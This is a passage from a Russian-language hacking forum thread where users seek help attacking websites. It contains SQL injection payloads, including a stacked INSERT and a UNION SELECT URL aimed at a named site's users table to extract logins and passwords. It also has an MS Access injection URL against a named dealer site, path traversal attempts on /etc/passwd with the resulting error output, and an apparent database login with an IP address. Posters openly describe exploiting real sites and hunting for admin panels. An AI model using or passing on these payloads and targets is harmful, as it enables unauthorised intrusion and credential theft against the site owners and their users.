а разве тогда будет ошибка связанная с кол-вом полей? я думал будет ошибка синтаксиса

__________________
Карфаген должен быть разрушен...

Sql47718@62.149.140.24

Sql47718_3

4.0.27-standard-log
помогите пожалуйста с таблицами

а разве тогда будет ошибка связанная с кол-вом полей? я думал будет ошибка синтаксиса

не могу точно сказать почему именно такая ошибка, но я много раз сталкивался с подобной ситуацией

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

Вполне согласен со Scipio.
Возможно сначала идут 2 разных запроса, получают оба результата, и только после всего этого выводят в html.
И если какойто запрос не выполняется то exit(mysql_error());
имхо

Юзал недавно багу на 1 сайте, линк не помню, в общем посмотрел конфигурацию хостера - мускул 4 версии

есть такой запрос
INSERT INTO `login` (`userid` , `user_pass` , `sex` , `email` , `state` )
VALUES ('user', '1234', 'M', 'a@a.com[sql query]', '0');

собсно, вопрос: можно ли как-нибудь приписать туда свой запрос? у меня получалось добавить только такой же insert
e-mail=a@a.com','0'),('asd','asd','M','b@b.com','0') ;/*
но, хотелось бы чтонибудь более существенное, или инсерт, но с большим количеством столбцов.

вроде так

Подскажите как можно решить вопрос с информацией по названию каталогов на сайте ?????
Есть SQL inj: http://kojyhovo.ru/news/news.php?id=-81+union+select+1,concat(login,char(58),password)+ from+users/*
но не могу найти админку может кто подскажет.

load_file('') не работает!

Заранее спасибо.

Возможно ли тут раскрутить иньекцию?

http://www.rochesterautodealers.com/news.asp?id=10'%201%20or%201=(select%20db_name())--

Это вобщето инъекция в MSAccess...

теоретически раскрутить можно:
подбирай таблицы, прав на чтение системных таблиц нет

З.Ы. вобще .Slip в чем то прав, но это так, мысли вслух ни к кому неотносящиеся

__________________
Карфаген должен быть разрушен...

Вот мне интересно, что за дыра
http://sait.ru/index.php?fuse=admin&view=.../.../.../.../..../.../.../.../.../.../.../.../.../.../etc/passwd

В ответ вообще хз, что вылезло.

An error has occurred with the given operation

Fuse: admin
Action:
Type: User Error (256)
Description: View .../.../.../.../..../.../.../.../.../.../.../.../.../.../etc/passwd does not exist
Script: /var/www/saitdata/www/sait.ru/newedge/classes/NE_Controller.php
Line Number: 88
Stack:
/var/www/sait/data/www/sait.ru/newedge/classes/NE_Controller.php (88) : trigger_error
/var/www/sait/data/www/sait.ru/newedge/front.php (72) : ne_controller:rocessview
/var/www/sait/data/www/sait.ru/index.php (3) : require

Попробовал по другому.
http://sait.ru/index.php?fuse=.../.../.../.../..../.../.../.../.../.../.../.../.../.../etc/passwd
Вышло следующее
Module .../.../.../.../..../.../.../.../.../.../.../.../.../.../etc/passwd does not exist or hasn't been properly installed

С таким никогда раньше не сталкивался.